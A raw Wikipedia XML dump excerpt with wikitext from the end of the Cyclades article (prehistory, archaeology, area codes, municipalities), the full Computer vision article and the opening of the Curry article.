A distinctive Neolithic culture amalgamating Anatolian and mainland Greek elements arose in the western Aegean before 4000 BCE, based on [[emmer wheat]] and wild-type barley, sheep and goats, pigs, and tuna that were apparently speared from small boats (Rutter). Excavated sites include Saliagos and Kephala (on [[Keos]]) with signs of copper-working, Each of the small Cycladic islands could support no more than a few thousand people, though Late Cycladic boat models show that fifty oarsmen could be assembled from the scattered communities (Rutter), and when the highly organized palace-culture of Crete arose, the islands faded into insignificance, with the exception of Delos, which retained its archaic reputation as a sanctuary through the period of Classical Greek civilization.

===Archaeology===
The first archaeological excavations of the 1880s were followed by systematic work by the British School at Athens and by Christos Tsountas, who investigated burial sites on several islands in 1898-99 and coined the term &quot;Cycladic civilization&quot;   Interest lagged, then picked up in the mid-20th century, as collectors competed for the modern-looking figures that seemed so similar to sculpture by [[Jean Arp]] or [[Constantin Brancusi]]. Sites were looted and a brisk trade in forgeries arose. The context for many of these Cycladic Figurines has thus been mostly destroyed; their meaning may never be completely understood. Another intriguing and mysterious object is that of the Cycladic [[frying pans]]. More accurate archaeology has revealed the broad outlines of a farming and seafaring culture that had immigrated from Asia Minor ''ca'' [[5th millennium BCE|5000 BCE]]. Early Cycladic culture evolved in three phases, between ''ca'' [[33rd century BCE|3300]] - [[20th century BCE|2000 BCE]], when it was increasingly swamped in the rising influence of Minoan Crete.
The culture of mainland Greece contemporary with Cycladic culture is termed [[Helladic culuture|Helladic]]. 

In recent decades the Cyclades islands have become extremely popular with [[Europe]]an and other [[tourist]]s, and as a result there have been problems with [[erosion]], [[pollution]], and water shortages.

&lt;!--
==Transportation==

*[[Greece Interstate |GR-]]

==Communications==
===[[List of radio stations in Greece|Radio]]===
===[[List of Greek language television channels|Television]]===

==Famous inhabitants of the Lesbos prefecture==

==Islands==

==Archaeological sites==--&gt;

==Area codes==

:[[Greece dialing code 22810|22810]] - [[Syros]], including [[Kythnos]], [[Serifos]] and [[Syros]] islands
:[[Greece dialing code 22820|22820]] - [[Andros]]
:[[Greece dialing code 22830|22830]] - [[Tinos]]
:[[Greece dialing code 22840|22840]] - [[Paros]] and [[Sifnos]] islands
:[[Greece dialing code 22850|22850]] - [[Amorgos]] and [[Naxos, Greece|Naxos]] islands
:[[Greece dialing code 22860|22860]] - [[Folegandros]], [[Ios]], [[Santorini]] and [[Sikinos]] islands
:[[Greece dialing code 22870|22870]] - [[Kimolos]] and [[Milos]]
:[[Greece dialing code 22880|22880]] - [[Kea Island]]
:[[Greece dialing code 22890|22890]] - [[Mykonos]]

==Municipalities and communities==

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- bgcolor=&quot;#efefef&quot;
! Municipality !! YPES code !! Seat !! Postal code !! Area code 
|-
| Amorgos || 3101 || [[Amorgos]] || 840 08 || 22850-2
|-
| Andros || 3103 || [[Andros]] || 845 00 ||  22820-2
|-
| Ano Syros || 3105 || [[Ano Syros]] || 841 00 || 22810-8
|-
| Drymalia || 3107 || [[Chalkio (Naxos), Greece|Chalkio]] || 843 02 || 22850
|-
| Ermoupoli || 3109 || [[Ermoupoli]] || 841 00 || 22810-2
|-
| [[Exomvourga]] || 3108 || [[Xinara]] Naxou || 842 00 || 22850-5
|-
| Ios || 3112 || [[Ios]] || 840 01 || 22860-9
|-
| Kea || 3113 || [[Kea Island|Kea]] || 840 02 || 22880-2
|-
| Korthio || 3115 || [[Ormos]] Korthiou || 845 02 || 22820-6
|-
| Kythnos || 3117 || [[Kythnos]] || 840 06 || 22810-3
|-
| Milos || 3118 || [[Milos]] || 848 00 || 22870-2
|-
| Mykonos || 3119 || [[Mykonos]] || 846 00 || 22890-2
|-
| Naxos || 3120 || [[Naxos]] || 843 00 || 22850-2
|-
| Paros || 3123 || [[Paros]] || 844 00 || 22840-2
|-
| Poseidonia || 3124 || [[Episkopi Posidonias]] || 841 00 || 22810-4
|-
| Serifos || 3125 || [[Serifos]] || 840 02 || 22810-5
|-
| Sifnos || 3127 || [[Sifnos]] || 840 03 || 22840-3
|-
| Thira || 3111 || [[Thira]] || 847 00 || 22860-2
|-
| Tinos || 3129 || [[Tinos]] || 842 00 || 22830-2
|-
| [[Ydrousa]] || 3130 || [[Gavrio]] || 845 01 || 22820-7
|- bgcolor=&quot;#efefef&quot;
! Community !! YPES code !! Seat !! Postal code !! Area code 
|-
| Anafi || 3102 || [[Anafi]] || 840 09 || 22860-6
|-
| Antiparos || 3104 || [[Antiparos]] || 840 07 || 22840-6
|-
| Donoussa || 3106 || [[Donoussa]] || 843 00 || 22850-5
|-
| Folegandros || 3131 || [[Folegandros]] || 840 11 || 22860
|-
| Heraklia || 3110 || [[Heraklia (Cyclades), Greece|Heraklia]] || 843 00 || 22870-7
|-
| Kimolos || 3114 || [[Kimolos]] || 840 04 || 22870-5
|-
| Koufonissa || 3116 || [[Koufonissa]] || 843 00 || 22870-7
|-
| Oia || 3121 || [[Oia]] || 847 02 || 22860-7
|-
| Panormos || 3122 || [[Panormos]] || 842 01 || 22830-3
|-
| Schoinoussa || 3128 || [[Schoinoussa]] || 843 00 || 22870-7
|-
| Sikinos || 3126 || [[Sikinos]] || 840 10 || 22860-5
|}

See also: [[List of settlements in the Cyclades prefecture]]

==Further reading==
*J. A. MacGillivray and R. L. N. Barber, editors, ''The Prehistoric Cyclades'' (Edinburgh) 1984. 
*R. L. N. Barber, ''The Cyclades in the Bronze Age'' (Iowa City) 1987.

==External links==

*[http://projectsx.dartmouth.edu/classics/history/bronze_age/index.html Jeremy B. Rutter, &quot;The Prehistoric Archaeology of the Aegean&quot; ]: especially Lessons 2 and 4: chronology, history, bibliography
*[http://www.geocities.com/HotSprings/1794/greekgde.html Captain Barefoot's Naturist Guide To The Greek Islands]: this website has extensive accurate up-to-date information on the beaches in the Cyclades, especially where clothing optional sunbathing is commonly practiced.

[[Category:The Cyclades|*]]
[[Category:Archipelagoes]]
[[Category:Islands of Greece]]
[[Category:Prefectures of Greece]]

[[ca:Cíclades]]
[[cs:Kyklady]]
[[da:Kykladerne]]
[[de:Kykladen]]
[[et:Küklaadid]]
[[el:Κυκλάδες]]
[[es:Cícladas]]
[[fr:Cyclades]]
[[gl:Cícladas]]
[[it:Cicladi]]
[[la:Cycladae]]
[[nl:Cycladen]]
[[pl:Cyklady]]
[[pt:Cíclades]]
[[ru:Киклады]]
[[simple:Cyclades]]
[[sk:Kyklady]]
[[fi:Kykladit]]
[[sv:Kykladerna]]</text>
    </revision>
  </page>
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    <title>Casimir IV Jagiello</title>
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      <text xml:space="preserve">#REDIRECT [[Kazimierz IV Jagiellon]]</text>
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    <title>Computer Vision</title>
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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Computer vision]]
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    <title>Computer vision</title>
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      <contributor>
        <username>KYN</username>
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      </contributor>
      <comment>/* Further reading */  another book</comment>
      <text xml:space="preserve">'''Computer vision'''  is the study and application of methods which allow [[computers]] to &quot;understand&quot; image content or content of multidimensional data in general. The term &quot;understand&quot; means here that specific information is being extracted from the image data for a specific purpose: either for presenting it to a human operator (e. g., if cancerous cells have been detected in a microscopy image), or for controlling some process (e. g., an industry robot or an autonomous vehicle).  The image data that is fed into a computer vision system is often a digital gray-scale or colour image, but can also be in the form of two or more such images (e. g., from a stereo camera pair), a video sequence, or a 3D volume (e. g., from a tomography device).  In most practical computer vision applications, the computers are pre-programmed to solve a particular task, but methods based on learning are now becoming increasingly common.

'''Computer vision''' can also be described as the complement (but not necessary the opposite) of [[biological vision]].  In biological vision and [[visual perception]] ''real'' visual systems of humans and various animals are studied, resulting in models of how these systems are implemented in terms of neural processing at various levels.  Computer vision, on the other hand, studies and describes technical system which are implemented in software or hardware, in [[computer|computers]] or in [[DSP|digital signal processors]].  There is some interdisciplinary work between biological and computer vision but, in general, the field of computer vision studies processing of visual data as a purely technical problem.

==State of the art==

[[image:CVoverview2.jpg|frame|Relation between Computer vision and various other fields]]

The field of computer vision can be characterized as immature and diverse.  Even though earlier work exists, it was not until the late 1970's that a more focused study of the field started when computers could manage the processing of large data sets such as images.  However, these studies usually originated from various other fields, and consequently there is no standard formulation of the &quot;computer vision problem&quot;.  Also, and to an even larger extent, there is no standard formulation of how computer vision problems should be solved.  Instead, there exists an abundance of methods for solving various well-defined computer vision tasks, where the methods often are very task specific and seldom can be generalized over a wide range of applications.  Many of the methods and applications are still in the state of basic research, but more and more methods have found their way into commercial products, where they often constitute a part of a larger system which can solve complex tasks (e.g., in the area of medical images, or quality control and measurements in industrial processes).

Computer vision is by some seen as a subfield of [[artificial intelligence]] where image data is being fed into a system as an alternative to text based input for controlling the behaviour of a system.  Some of the learning methods which are used in computer vision are based on learning techniques developed within artificial intelligence.

Since a camera can be seen as a light sensor, there are various methods in computer vision based on correspondences between a physical phenomenon related to light and images of that phenomenon.  For example, it is possible to extract information about motion in fluids and about waves by analyzing images of these phenomena.  Also, a subfield within computer vision deals with the physical process which given a scene of objects, light sources, and camera lenses forms the image in a camera.  Consequently, computer vision can also be seen as an extension of [[physics]].

A third field which plays an important role is [[neurobiology]], specifically the study of the biological vision system.  Over the last century, there has been an extensive study of eyes, neurons, and the brain structures devoted to processing of visual stimuli in both humans and various animals.  This has led to a coarse, yet complicated, description of how &quot;real&quot; vision systems operate in order to solve certain vision related tasks.  These results have led to a subfield within computer vision where artificial systems are designed to mimic the processing and behaviour of biological systems, at different levels of complexity.  Also, some of the learning-based methods developed within computer vision have their background in biology.

Yet another field related to computer vision is [[signal processing]].  Many existing methods for processing of one-variable signals, typically temporal signals, can be extended in a natural way to processing of two-variable signals or multi-variable signals in computer vision.  However, because of the specific nature of images there are many methods developed within computer vision which have no counterpart in the processing of one-variable signals.  A distinct character of these methods is the fact that they are non-linear which, together with the multi-dimensionality of the signal, defines a subfield in signal processing as a part of computer vision.

Beside the above mentioned views on computer vision, many of the related research topics can also be studied from a purely mathematical point of view.  For example, many methods in computer vision are based on [[statistics]], [[Optimization (mathematics)|optimization]] or [[geometry]].  Finally, a significant part of the field is devoted to the implementation aspect of computer vision; how existing methods can be realized in various combinations of software and hardware, or how these methods can be modified in order to gain processing speed without losing too much performance.

Computer vision and (digital) [[image processing]] are related fields.  The distinction between the two is not very clear, e.g., computer vision uses many methods which traditionally belong to image processing.  One formal distinction would be to say that image processing deals with transforming images, producing one image from another, or with producing low-level information about an image, such as edges or lines.  Neither of these tasks provide, or require, an interpretation about what the image contains in terms of objects or events.  Computer vision, on the other hand, uses models and assumptions about the real world depicted in the images to extract information which, e.g., can be used to control actions on objects in a scene.  In more advanced systems, these models can be learned rather than programmed.

==Examples of applications for computer vision==

Another way to describe computer vision is in terms of applications areas.  One of the most prominent application fields is medical computer vision or medical image processing.  This area is characterized by the extraction of information from image data for the purpose of making a medical diagnosis of a patient.  Typically image data is in the form of [[microscopy|microscopy images]], [[X-ray|X-ray images]], [[angiography|angiography images]], [[ultrasonography|ultrasonic images]], and [[tomography|tomography images]].  An example of information which can be extracted from such image data is detection of [[tumour|tumours]], [[arteriosclerosis]] or other malign changes.  It can also be measurements of organ dimensions, blood flow, etc.  This application area also supports medical research by providing new information, e.g., about the structure of the brain, or about the quality of medical treatments.

A second application area in computer vision is in industry.  Here, information is extracted for the purpose of supporting a manufacturing process.  One example is quality control where details or final products are being automatically inspected in order to find defects.  Another example is measurement of position and orientation of details to be picked up by a robot arm.  See the article on [[Machine Vision|machine vision]] for more details on this area.

Military applications are probably one of the largest areas for computer vision, even though only a small part of this work is open to the public.  The obvious examples are detection of enemy soldiers or vehicles and guidance of missiles to a designated target.  More advanced systems for missile guidance send the missile to an area rather than a specific target, and target selection is made when the missile reaches the area based on locally acquired image data.  Modern military concepts, such as &quot;battlefield awareness&quot;, imply that various sensors, including image sensors, provide a rich set of information about a combat scene which can be used to support strategic decisions.  In this case, automatic processing of the data is used to reduce complexity and to fuse information from multiple sensors to increase reliability.

One of the newer application areas is autonomous vehicles which ranges from submersibles, land-based vehicles (small robots with wheels, cars or trucks) to aerial vehicles.  An unmanned aerial vehicle is often denoted [[UAV]].  The level of autonomy ranges from fully autonomous (unmanned) vehicles to vehicles where computer vision based systems support a driver or a pilot in various situations.  Fully autonomous vehicles typically use computer vision for navigation, i. e., for knowing where it is, or for producing a map of its environment ([[Simultaneous localization and mapping|SLAM]]) and for detecting obstacles.  It can also be used for detecting certain task specific events, e. g., a UAV looking for forest fires.  Examples of supporting system are obstacle warning systems in cars and systems for autonomous landing of aircraft.  Several car manufactures have demonstrated system for autonomous driving of cars, but this technology has still not reached a level where it can be put on the market.  There are ample examples of military autonomous vehicles ranging from advanced missiles to UAVs for recon missions or missile guidance.  Space exploration is already being made with autonomous vehicles using computer vision, e. g., NASA's [[Mars Exploration Rover]].

==Typical tasks of computer vision==
===Object Recognition===

Detecting the presence of known objects or living beings in an image, possibly together with estimating the [[Pose (computer vision)|pose]] of these objects.

Examples:
* Searching in [[digital image]]s for specific content ([[content-based image retrieval]])
* Recognizing human faces and their location in images.
* Estimation of the three-dimensional [[Pose (computer vision)|pose]] of humans and their limbs
* Detection of objects which are passing through a manufacturing process, e.g., on a conveyor belt, and estimation of their [[Pose (computer vision)|pose]] so that a robot arm can pick up the objects from the belt.

===Optical Character Recognition===
OCR ([[Optical character recognition|Optical Character Recognition]]) takes pictures of printed
or handwritten text and converts it into computer readable text such as [[Ascii|ASCII]]
or [[Unicode]].  In the past images were acquired with a [[Image scanner|computer scanner]],
however in more recent times some software can also read text from pictures taken with a
[[digital camera]].

===Tracking===
[[video tracking|Tracking]] known objects through an image sequence

Examples:
* Tracking a single person walking through a shopping center.
* Tracking of vehicles moving along a road.

===Scene interpretation===
Creating a [[computer model|model]] from an image/video.

Examples:
* Creating a [[computer model|model]] of the surrounding terrain from images, which are being taken by a [[robot]]-mounted camera.
* Anticipating the pattern of the image to determine size and density to estimate the volume using tomography like device.  The cloud recognition is one the government project using this method.

===Egomotion===
Determining the motion of the camera itself.

Examples:
* Given two images of a scene, determine the 3d rigid motion of the camera between the two views.

==Computer Vision Systems==
A typical computer vision system can be divided in the following subsystems:

===Image acquisition===
The [[image]] or [[video|image sequence]] is acquired with an [[imaging system]] ([[camera]],[[radar]],[[lidar]],[[Tomography|tomography system]]). Often the [[imaging system]] has to be [[Calibration|calibrated]] before being used.

===Preprocessing===
In the preprocessing step, the image is being treated with &quot;low-level&quot;-operations.
The aim of this step is to do [[noise reduction]] on the image (i.e. to dissociate the [[Signal (information theory)|signal]] from the [[noise]]) and to reduce the overall amount of [[data]].
This is typically being done by employing different ([[digital image processing|digital]])[[image processing]] methods such as:
* Sub-[[Sampling (signal processing)|sampling]] the image.
* Applying [[Digital filter|digital filter]]s
** [[Convolution|convolutions]], computing a [[scale space]] representation
** [[Correlation]]s or [[LSI|linear shift invariant]] filters
*** [[Sobel|Sobel operator]]
*** Computing the x- and y-[[Gradient|gradient]] (possibly also the time-gradient).
* [[image segment|Segmenting]] the image.
** Pixelwise [[Threshold|thresholding]].
* Performing an [[Eigentransform|eigentransform]] on the image
** [[Fourier transform]]
* Doing [[Motion estimation|motion estimation]] for local regions of the image (also known as [[optical flow]] estimation).
* Estimating [[Disparity(Brain)|disparity]] in [[Stereo photography|stereo image]]s.
* [[Multiresolution analysis]]

===Feature extraction===
The aim of [[feature extraction]] is to further reduce the data to a set of [[feature]]s, which ought to be invariant to disturbances such as [[lighting|lighting conditions]], [[camera]] [[position]], [[noise]] and [[distortion]]. Examples of [[feature extraction]] are:
* Performing [[edge detection]] or estimation of [[orientation (computer vision)|local orientation]].
* Extracting [[corner detection|corner]] features.
* Detecting [[blob detection|blob]] features.
* Extracting [http://www.ri.cmu.edu/projects/project_94.html spin image]s from depth maps.
* Extracting [[Geon (psychology)|geons]] or other three-dimensional primitives, such as [[superquadrics]]
* Acquiring [[Contour|contour lines]] and maybe [[Curvature|curvature]] zero crossings.
* Generating features with the [[Scale-invariant feature transform]].

===Registration===
The aim of the [[image registration|registration step]] is to establish [[Correspondence (mathematics)|correspondence]] between the features in the acquired set and the features of known objects in a model-[[database]] and/or the features of the preceding image. The registration step has to bring up a final [[hypothesis]]. To name a few methods:
* [[Least squares|Least squares estimation]]
* [[Hough transform]] in many variations
* [[Geometric hashing]]
* [[Particle filter|Particle filtering]]
* [[RANSAC|RANdom SAmple Consensus]]

==Related Fields==
Advanced systems are often borrowing from many different fields like [[pattern recognition]], [[statistical learning]], [[projective geometry]], [[image processing]], [[graph theory]] and other.

[[Cognitive computer vision]] is strongly related to [[cognitive psychology]] and [[biological computation]].

===A University Video Communication on Model-Based Computer Vision===
[[Joseph Mundy]] in a [http://www.archive.org/details/JosephMu1987 University Video Communication on Model-Based Computer Vision (1987)]:

''&quot;What do students need to learn to be prepared to meet the challenges?&quot;'' -

&lt;i&gt;&quot;I would like to comment on the necessary courses a student should take to really be prepared to carry out research in model-based vision.
As we can see the [[geometry]] of [[Perspective projection|image projection]] and the [[mathematics]] of [[Affine transformation|transformation]] is a very key element in studying this field, but there are many other issues the student has to be prepared for.
If we are going to talk about [[image segment|segmenting images]] and getting good geometric clues, we have to understand the relationship between the intensity of image data and its underlying geometry. And this would lead the student into such areas as [[optics]], [[illumination]] theory, theory of [[shadow]]s and the like. And also the mathematics underlying this kind of computations would of course require [[signal processing]] theory, [[fourier transform]] theory and the like. And in dealing with algebraic surfaces such as this curved [[surface]]s as we talked about here, courses in [[algebraic geometry]] and higher pure forms of [[algebra]] will prove to be necessary in order to make any kind of progress in research to handle curved [[surface]]s.
So, I guess the bottom line of what I'm saying is: math courses, particularly those associated with geometric aspects will be key in all of this.&quot;&lt;/i&gt;

==Applications==
In the related fields [[machine vision]] and [[medical imaging]], systems using computer vision techniques are sold in markets worth billions of US dollars per year.

One interesting application of computer vision, commonly used in the creation of [[visual effects]] for cinema and broadcast, is [[camera tracking]] or matchmoving. Computer vision also finds its applications in medicine, military industry, security and surveillance, quality inspection, robotics, automotive industry and many other fields.

==See also==

{| border=&quot;1&quot; cellpadding=&quot;2&quot;
! Computer vision subcategories !! Related fields
|-
| valign=&quot;top&quot; |
* [[:Category:Applications in Computer vision|Applications in Computer vision]]
* [[:Category:Commercial systems for Computer vision|Commercial systems for Computer vision]]
* [[:Category:People in Computer vision|People in Computer vision]]
* [[:Category:Software for Computer vision|Software for Computer vision]]
|| 
* [[Affective computing]]
* [[Artificial intelligence]]
* [[Computer graphics]]
* [[Digital image processing]]
* [[Image processing]]
* [[Machine learning]]
* [[Machine vision]]
* [[Medical imaging]]
* [[Morphological image processing]]
|}

* [[List of important publications in computer science#Computer Vision|Important publications in computer vision]]

== Further reading ==

{{cite book |
author=Olivier Faugeras |
title=Three-Dimensional Computer Vision, A Geometric Viewpoint |
publisher=MIT Press |
year=1993 |
id=ISBN 0-262-06158-9}}

{{cite book |
author=David A. Forsyth and Jean Ponce |
title=Computer Vision, A Modern Approach |
publisher=Prentice Hall |
year=2003 |
id=ISBN 0-12-379777-2}}

{{cite book |
author=Gösta H. Granlund and Hans Knutsson |
title=Signal Processing for Computer Vision |
publisher=Kluwer Academic Publisher |
year=1995 |
id=ISBN 0-7923-9530-1}}

{{cite book |
author=Richard Hartely and Andrew Zisserman |
title=Multiple View Geometry in computer vision |
publisher=Cambridge University Press|
year=2003 |
id=ISBN 0-521-54051-8}}

{{cite book |
author=Berthold Klaus Paul Horn |
title=Robot Vision |
publisher=MIT Press|
year=1986 |
id=ISBN 0-262-08519-8}}

{{cite book |
author=Bernd Jähne and Horst Haußecker |
title=Computer Vision and Applications, A Guide for Sudents and Practitioners | publisher=Academic Press |
year=2000 |
id=ISBN 0-13-085198-1}}

{{cite book |
author=Bernd Jähne |
title=Digital Image Processing |
publisher=Springer |
year=2002 |
id=ISBN 3-540-67754-2}}

{{cite book |
author=Tim Morris |
title=Computer Vision and Image Processing |
publisher=Palgrave Macmillan |
year=2004 |
id=ISBN 0-333-99451-5}}

{{cite book |
author=Linda G. Shapiro and George C. Stockman |
title=Computer Vision |
publisher=Prentice Hall |
year=2001 |
id=ISBN 0-13-030796-3}}

{{cite book |
author=Milan Sonka, Vaclav Hlavac and Roger Boyle |
title=Image Processing, Analysis, and Machine Vision |
publisher=PWS Publishing |
year=1999 |
id=ISBN 0-534-95393-X}}

==External links==
'''General resources'''
* {{wikicities|computervision|Computer Vision}}
* [http://www-2.cs.cmu.edu/~cil/vision.html The Computer Vision Homepage]
* [http://iris.usc.edu/Vision-Notes/bibliography/contents.html Keith Price's Annotated Computer Vision Bibliography]
'''Computer vision laboratories'''
* [http://www.vision.ee.ethz.ch ETH Zürich Computer Vision Laboratory]
* [http://vision.eng.shu.ac.uk/mediawiki/ MMVL MediaWiki]
* [http://dircweb.king.ac.uk/dirc/ Kingston University's Digital Imaging Research Centre (DIRC)]
* [http://www.psi.toronto.edu/ Probilistic and Statistical Inference Group @ University of Toronto]

'''Tutorials'''
* [http://homepages.inf.ed.ac.uk/rbf/CVonline/ On-Line Compendium of Computer Vision]
* [http://www.netnam.vn/unescocourse/computervision/comp_frm.htm Tutorial to Image Processing]
* [http://palantir.swarthmore.edu/maxwell/classes/e27/F03/E27_F03_Lectures.pdf Introduction to computer vision] (464KB pdf file)
'''Papers'''
* [http://www.packet.cc/files/mach-per-3D-solids.html Machine Perception of Three-Dimensional Solids - the paper mentioned by Joseph Mundy in the video]

[[Category:Artificial intelligence]]
[[Category:Computer vision|*Computer vision]]

[[de:Computer Vision]] 
[[es:Visión artificial]]
[[fa:بینایی رایانه‌ای]]
[[fr:Vision artificielle]]
[[ja:コンピュータビジョン]]
[[sv:datorseende]]
[[th:คอมพิวเตอร์วิทัศน์]]
[[zh:计算机视觉]]</text>
    </revision>
  </page>
  <page>
    <title>Curry</title>
    <id>6597</id>
    <revision>
      <id>41773400</id>
      <timestamp>2006-03-01T17:23:31Z</timestamp>
      <contributor>
        <ip>163.1.162.20</ip>
      </contributor>
      <comment>/* Curries around the world */</comment>
      <text xml:space="preserve">{{otheruses1|the dish}}
[[Image:Chicken curry.jpg|right|250px|thumb|An [[Indian cuisine|Indian]] chicken curry]]
A '''curry''' is any of a great variety of distinctively [[spice]]d dishes, best-known in [[Indian cuisine|Indian]] and [[Thai cuisine]], but curry has been adopted into all of the mainstream cuisines of the Asia-Pacific area, from [[Pakistan]] in the west and even eventually to [[Japan]]. Along with [[tea]], curry is one of the few dishes or drinks that is truly &quot;pan-Asian&quot;, although its roots are from [[India]]. Sandeep Bhateja ([[Punjabi]]) the world famous curry chef from Agra, India, is renowned for incorporating various roots into exotic curry dishes.

==Curries around the world==
The term ''curry'' derives from ''kari'', a [[Tamil language|Tamil]] word meaning sauce and referring to various kinds of dishes common in [[South India]] made with [[vegetables|vegetables]] or [[meat]] and usually eaten with [[rice]]. The term is used more broadly, especially in the [[Western Hemisphere]], to refer to almost any spiced, sauce-based dishes cooked in various south and southeast Asian styles. This imprecise umbrella term is largely a legacy of the [[British Raj]]. There is a common misconception that all curries are made from [[curry powder]] or that a certain meat or vegetable is curried. In India, the word curry is in fact  rarely used. Most dishes involving [[lentils]] are called ''dahl'', or else are referred to by a name specific to the [[spices]] used in the preparation. [[Meat]] or [[vegetable]] dishes are likewise given specific names that indicate the method of cooking, or the particular spices used. There is, however, a particular [[North Indian]] dish which is given the name '''curry''' - this involves [[yoghurt]], [[ghee]] and [[besan]] (see below).

===Tamil cuisine===
{{Main|Tamil cuisine}}
In [[Tamil cuisine]], from which the word originated, curry refers to any dry preparation involving meat or vegetables shallow-fried with dry spices. Curries are named according to what type of food they're made from and then adding the word curry- e.g. [[potato]] curry, [[bean]] curry, [[chicken]] curry or [[goat]] curry.

[[Tamil cuisine|Tamil]] cuisine (from [[Tamil Nadu]]), one of the oldest culinary heritages of the world, is characterized by its aroma and flavor, achieved by a blend and combination of [[spice]]s, including [[Curry Leaves|curry leave]]s, [[tamarind]], [[coriander]], [[ginger]], [[garlic]], [[chili pepper|chili]], [[black pepper|pepper]], [[cinnamon]], [[clove]]s, [[cardamom]], [[cumin]], [[nutmeg]], [[coconut]], and even [[rosewater]]. [[Rice]] is an important constituent of Tamil cuisine, and there are a variety of rice preparations, and food items of rice are available for all the [[meal]]s of the day. [[Lentil]]s, too, are consumed extensively, as accompaniment of rice preparations, as also in the form of independent food preparations of lentils. [[Vegetable]]s and [[dairy]] products too are essential accompaniments. Traditionally, vegetarian foods predominate the menu with a range of non-vegetarian dishes, including sweet water [[fish]] and [[seafood]], cooked with traditional Tamil spices and seasoning.

===Malayali cuisine===
{{Main|Kerala cuisine}}
[[Malayali]] curries of [[Kerala]] typically use shredded coconut paste or coconut milk, curry leaves, and various spices.

[[Kerala]]'s cuisine is linked in all its richness to the history, geography and culture of the land. Most of the non-vegetarian dishes lean heavily on the spicy side. Kerala is know for its traditional 'sadyas', a vegetarian meal served with bolied rice and a host of side-dishes. The sadya is perfectly complemented with the payasam, a sweet dessert native to Kerala. The sadya is, as per custom, served on a banana leaf.

===Punjabi cuisine===
{{Main|Punjabi cuisine}}
Punjabi cuisine (from the [[Punjab region]]) is mainly based upon [[Wheat]], Masalas ([[spice]]), pure [[desi]] [[ghee]], with liberal amounts of [[butter]] and [[cream (food)|cream]].
 
Though wheat varieties form their [[staple food]], Punjabis do cook [[rice]] on special occasions.
During winter a delicacy, Rao Ki Kheer, is cooked using rice. Rice is cooked for a long time in [[sugar cane]] juice.

Within the [[state]] itself, there are different preferences. People in the area of [[Amritsar]] prefer stuffed [[paratha]]s and milk products. In fact, the area is well known for quality of its milk products. There are certain dishes which are exclusive to Punjab, such as Maha Di Dal and Saron Da Saag (Sarson Ka Saag).

===Other Indian cuisine===
{{Main|Indian cuisine}}
In other varieties of [[Indian cuisine]], '''curry''' is a [[sauce]] - sometimes considered a [[soup]] - made by stirring [[yoghurt]] into a [[roux]] of [[ghee]] (a type of [[clarified butter]]) and [[besan]] ([[chick pea]] [[flour]]). The spices added vary, but usually include [[turmeric]] and [[black mustard]] seed.

===Pakistani cuisine===
{{Main|Cuisine of Pakistan}}
[[Pakistan]]i cuisine is, to some extent, identical to [[North India]]n cuisine, especially in the regions of [[Punjab region|Punjab]] and [[Sindh]]. However, due to its location in the northwest of the [[Indian subcontinent]], there is a lot of regional variation, for example, the western portions of Pakistan have cuisine that is more similar with that of [[Afghanistan]] and [[Iran]].  Much of the food is referred to as '''Mughlai cuisine''', especially in the east, and varies from its neighbors in that it is spicier than the cuisine in other parts of the [[Middle East]] and less spicy than that of [[India]]. One could term it a unique blend of Indo-Iranian, but, more realistically, it is perhaps best described as a nation with many different types of foods, the east and, to some extent, the [[North West Frontier Province]] being almost identical to North Indian ([[Punjabi]]) cuisine and the west being more similar to the cuisine of [[Iran]]. Often, both interlap, especially in [[Mughlai cuisine]]. The most prominent Pakistani cuisine, though, is the [[Mughalai]] cuisine which is also prominent throughout northern [[India]].

===Bangladeshi cuisine===
{{Main|Cuisine of Bangladesh}}
[[Bangladesh]]i cuisine has considerable regional variations as would be expected. A staple across the country however is [[rice]] and [[dhal]] (sometimes written as [[dal]]). As a large percentage of the land (over 80% on some occasions) can be under water, either intentionally because of farming practices or due to severe climatological, topographical or geographical conditions, not surprisingly [[fish]] features as the major source of [[protein]] in the Bangladeshi diet.

The staples of Bangladeshi cuisine are [[rice]], ''[[Atta flour|atta]]'' (a special type of [[whole wheat flour]]), and at least five dozen varieties of [[pulses]], the most important of which are ''chana'' ([[bengal gram]];and these are used in different forms, may be whole or after processing them in a mill that removes the skin,eg dhuli moong or dhuli urad.some times mixed with rice and excellent for digestion food called khichri similar to the [[chick pea]] but smaller and more flavorful), ''toor'' ([[pigeon pea]] or red gram), ''[[urad]]'' ([[black gram]]) and ''[[mung bean|mung]]'' (green gram). Pulses are used almost exclusively in the form of [[dal]], except ''chana'', which is often cooked whole for breakfast and is processed into flour (''[[besan]]'').

Bangladeshi cuisine can generally be broken down into two distinct regional styles: [[Dhaka]] and [[Sylhet]]i. The Sylheti style has been popularized in the [[UK]] in the second half of the [[20th century]], where there was a spurt in the development of ''Anglo-Indian cuisine'', as families from the [[Sylhet Division|Sylhet division]] of Bangladesh migrated to London to look for work. The widely popular British curry dish [[chicken tikka masala]] was also produced by Bangladeshi immigrants from [[Sylhet]].
{{See|Bengali cuisine}}

===British cuisine===
{{See also|British cuisine}}
[[Image:Chicken_tikka_jalfrezi.jpg|left|thumb|250px|Chicken tikka jalfrezi, pilau rice and a soothing cucumber rhaita, served up at the Aladin restaurant, Brick Lane, London. &lt;!--''Warning - this dish contains fresh green chilis, but the yogurt in the rhaita softens the bite.''--&gt;

A typical British hybrid, this is a southern Indian dish, cooked in a Bangladeshi restaurant, and adapted to British multi-ethnic tastes. (November 2005)]]
In British cuisine, the word '''curry''' once came solely to denote a sauce-based dish flavoured with [[curry powder]] or a paste variant made with the latter and oils. However, the resurgence of interest in good food preparation in the [[UK]] in recent years has led to much more use of fresh spices such as [[ginger]] and [[garlic]], and preparation of an initial masala from freshly ground dried spices, though pastes and powders are still frequently used when convenience is paramount. 

It should be noted that the debasement of the 'British curry' as a dish solely made with 'curry powder' (which, before about the 1970s, only meant one thing, a yellow powder, consisting mostly of ground [[turmeric]] and [[chile powder]], used to create dishes such as '[[Coronation Chicken]]') is a 20th-century phenomenon as was the ubiquitous inclusion of—for some forgotten reason—sultanas in every so-called curry. But many excellent curry recipes are contained in 19th-century cookbooks such as those of [[Mrs Beeton]], although it is unlikely that—unlike latter-day curries—these were consumed by the British working class of the time. 

As a side note, the famous '''curry sauce''' (often associated with the city of [[Liverpool]]) that is often served warm as a condiment with other dishes such as [[chips]], was actually popularised by Chinese takeaways, not Indian restaurants, and relies heavily on ground ginger for its flavouring.

